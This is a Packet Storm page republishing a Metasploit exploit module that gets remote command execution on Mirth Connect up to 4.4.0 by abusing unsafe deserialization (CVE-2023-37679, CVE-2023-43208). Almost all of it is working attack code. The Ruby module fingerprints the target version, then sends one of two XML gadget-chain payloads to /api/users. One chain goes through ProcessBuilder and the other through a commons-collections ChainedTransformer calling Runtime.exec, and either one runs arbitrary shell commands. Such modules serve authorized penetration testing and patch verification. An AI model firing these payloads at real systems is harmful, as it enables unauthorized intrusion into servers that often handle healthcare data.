exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Mirth Connect 4.4.0 Remote Command Execution

Mirth Connect 4.4.0 Remote Command Execution
Posted Jan 31, 2024
Authored by r00t, Spencer McIntyre, Naveen Sunkavally | Site metasploit.com

A vulnerability exists within Mirth Connect due to its mishandling of deserialized data. This vulnerability can be leveraged by an attacker using a crafted HTTP request to execute OS commands within the context of the target application. The original vulnerability was identified by IHTeam and assigned CVE-2023-37679. Later, researchers from Horizon3.ai determined the patch to be incomplete and published a gadget chain which bypassed the deny list that the original had implemented. This second vulnerability was assigned CVE-2023-43208 and was patched in Mirth Connect version 4.4.1. This Metasploit module has been tested on versions 4.1.1, 4.3.0 and 4.4.0.

tags | exploit, web
advisories | CVE-2023-37679, CVE-2023-43208
SHA-256 | c858fd93ded0a54a221c8cbb76027c1a54979c692f2f5ec5173f8b90a63ff30f

Mirth Connect 4.4.0 Remote Command Execution

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

Rank = ExcellentRanking

prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Mirth Connect Deserialization RCE',
'Description' => %q{
A vulnerability exists within Mirth Connect due to its mishandling of deserialized data. This vulnerability
can be leveraged by an attacker using a crafted HTTP request to execute OS commands within the context of the
target application. The original vulnerability was identified by IHTeam and assigned CVE-2023-37679. Later,
researchers from Horizon3.ai determined the patch to be incomplete and published a gadget chain which bypassed
the deny list that the original had implemented. This second vulnerability was assigned CVE-2023-43208 and was
patched in Mirth Connect version 4.4.1. This module has been tested on versions 4.1.1, 4.3.0 and 4.4.0.
},
'Author' => [
'r00t',
'Naveen Sunkavally',
'Spencer McIntyre'
],
'References' => [
['CVE', '2023-37679'],
['URL', 'https://www.ihteam.net/advisory/mirth-connect/'],
['CVE', '2023-43208'],
['URL', 'https://www.horizon3.ai/nextgen-mirth-connect-remote-code-execution-vulnerability-cve-2023-43208/'],
['URL', 'https://www.horizon3.ai/writeup-for-cve-2023-43208-nextgen-mirth-connect-pre-auth-rce/'],
],
'DisclosureDate' => '2023-10-25',
'License' => MSF_LICENSE,
'Platform' => ['unix', 'linux', 'win'],
'Arch' => [ARCH_CMD],
'Privileged' => false,
'Targets' => [
[
'Unix Command',
{
'Platform' => ['unix', 'linux'],
'Arch' => ARCH_CMD
}
],
[
'Windows Command',
{
'Platform' => 'win',
'Arch' => ARCH_CMD,
'Payload' => { 'Space' => 8191, 'DisableNops' => true }
}
]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'RPORT' => 8443,
'SSL' => true
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)

register_options([
OptString.new('TARGETURI', [true, 'Base path', '/'])
])
end

def check
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path)
)
return CheckCode::Unknown('HTTP fingerprinting failed.') if res.nil?

unless res.get_html_document&.xpath('//head/title')&.first&.text =~ /Mirth Connect/
return CheckCode::Safe('The target is not Mirth Connect.')
end

target_version = get_target_version
return CheckCode::Detected('Failed to detect the target version.') unless target_version

vprint_status("Detected target version: #{target_version}")

if target_version <= Rex::Version.new('4.3.0')
return CheckCode::Appears("Version #{target_version} is affected by CVE-2023-37679.")
elsif target_version <= Rex::Version.new('4.4.0')
return CheckCode::Appears("Version #{target_version} is affected by CVE-2023-43208.")
end

CheckCode::Safe("Version #{target_version} is not affected.")
end

def get_target_version
return @target_version if @target_version

res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'api/server/version'),
'headers' => {
'X-Requested-With' => 'OpenAPI'
}
)
return nil unless res&.code == 200
return nil unless res.body =~ /(\d+(\.\d+)*)/

@target_version = Rex::Version.new(Regexp.last_match(1))
@target_version
end

def exploit
target_version = get_target_version
print_status("Executing #{payload_instance.refname} (#{target.name})")

if target_version <= Rex::Version.new('4.3.0')
# The CVE-2023-43208 gadget chain will also work here but use the old one to verify the original vulnerability
# which did not implement the deny-list logic that was bypassed by the newer chain
res = execute_command_cve_2023_37679(payload.encoded)
elsif target_version <= Rex::Version.new('4.4.0')
res = execute_command_cve_2023_43208(payload.encoded)
else
fail_with(Failure::NoTarget, "Version #{target_version} is not vulnerable.")
end

if res.nil?
fail_with(Failure::Unreachable, 'Failed to execute the payload.')
elsif res.code != 500
fail_with(Failure::UnexpectedReply, 'Failed to execute the payload.')
end

print_good('The target appears to have executed the payload.')
end

def execute_command_cve_2023_37679(cmd, _opts = {})
# Tested on 4.1.1 and 4.3.0
xml = Nokogiri::XML(<<-XML, nil, nil, Nokogiri::XML::ParseOptions::NOBLANKS).root.to_xml(indent: 0, save_with: 0)
<sorted-set>
<string>#{rand_text_alphanumeric(4..12)}</string>
<dynamic-proxy>
<interface>java.lang.Comparable</interface>
<handler class="org.apache.commons.lang3.event.EventUtils$EventBindingInvocationHandler">
<target class="java.lang.ProcessBuilder">
<command>
<string>#{target['Platform'] == 'win' ? 'cmd.exe' : 'sh'}</string>
<string>#{target['Platform'] == 'win' ? '/c' : '-c'}</string>
<string>#{cmd.encode(xml: :text)}</string>
</command>
</target>
<methodName>start</methodName>
<eventTypes/>
</handler>
</dynamic-proxy>
</sorted-set>
XML

res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'api/users'),
'ctype' => 'application/xml',
'headers' => {
'X-Requested-With' => 'OpenAPI'
},
'data' => xml
})

res
end

def execute_command_cve_2023_43208(cmd, _opts = {})
if target['Platform'] == 'win'
cmd = "cmd.exe /c \"#{cmd}\""
else
# see: https://codewhitesec.blogspot.com/2015/03/sh-or-getting-shell-environment-from.html
cmd = "sh -c $@|sh . echo #{cmd}"
end

# Tested on 4.1.1, 4.4.0
xml = Nokogiri::XML(<<-XML, nil, nil, Nokogiri::XML::ParseOptions::NOBLANKS).root.to_xml(indent: 0, save_with: 0)
<sorted-set>
<string>#{rand_text_alphanumeric(4..12)}</string>
<dynamic-proxy>
<interface>java.lang.Comparable</interface>
<handler class="org.apache.commons.lang3.event.EventUtils$EventBindingInvocationHandler">
<target class="org.apache.commons.collections4.functors.ChainedTransformer">
<iTransformers>
<org.apache.commons.collections4.functors.ConstantTransformer>
<iConstant class="java-class">java.lang.Runtime</iConstant>
</org.apache.commons.collections4.functors.ConstantTransformer>
<org.apache.commons.collections4.functors.InvokerTransformer>
<iMethodName>getMethod</iMethodName>
<iParamTypes>
<java-class>java.lang.String</java-class>
<java-class>[Ljava.lang.Class;</java-class>
</iParamTypes>
<iArgs>
<string>getRuntime</string>
<java-class-array/>
</iArgs>
</org.apache.commons.collections4.functors.InvokerTransformer>
<org.apache.commons.collections4.functors.InvokerTransformer>
<iMethodName>invoke</iMethodName>
<iParamTypes>
<java-class>java.lang.Object</java-class>
<java-class>[Ljava.lang.Object;</java-class>
</iParamTypes>
<iArgs>
<null/>
<object-array/>
</iArgs>
</org.apache.commons.collections4.functors.InvokerTransformer>
<org.apache.commons.collections4.functors.InvokerTransformer>
<iMethodName>exec</iMethodName>
<iParamTypes>
<java-class>java.lang.String</java-class>
</iParamTypes>
<iArgs>
<string>#{cmd.encode(xml: :text)}</string>
</iArgs>
</org.apache.commons.collections4.functors.InvokerTransformer>
</iTransformers>
</target>
<methodName>transform</methodName>
<eventTypes>
<string>compareTo</string>
</eventTypes>
</handler>
</dynamic-proxy>
</sorted-set>
XML

res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'api/users'),
'ctype' => 'application/xml',
'headers' => {
'X-Requested-With' => 'OpenAPI'
},
'data' => xml
})

res
end
end
Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    11 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    28 Files
  • 16
    Jul 16th
    6 Files
  • 17
    Jul 17th
    34 Files
  • 18
    Jul 18th
    6 Files
  • 19
    Jul 19th
    34 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    19 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close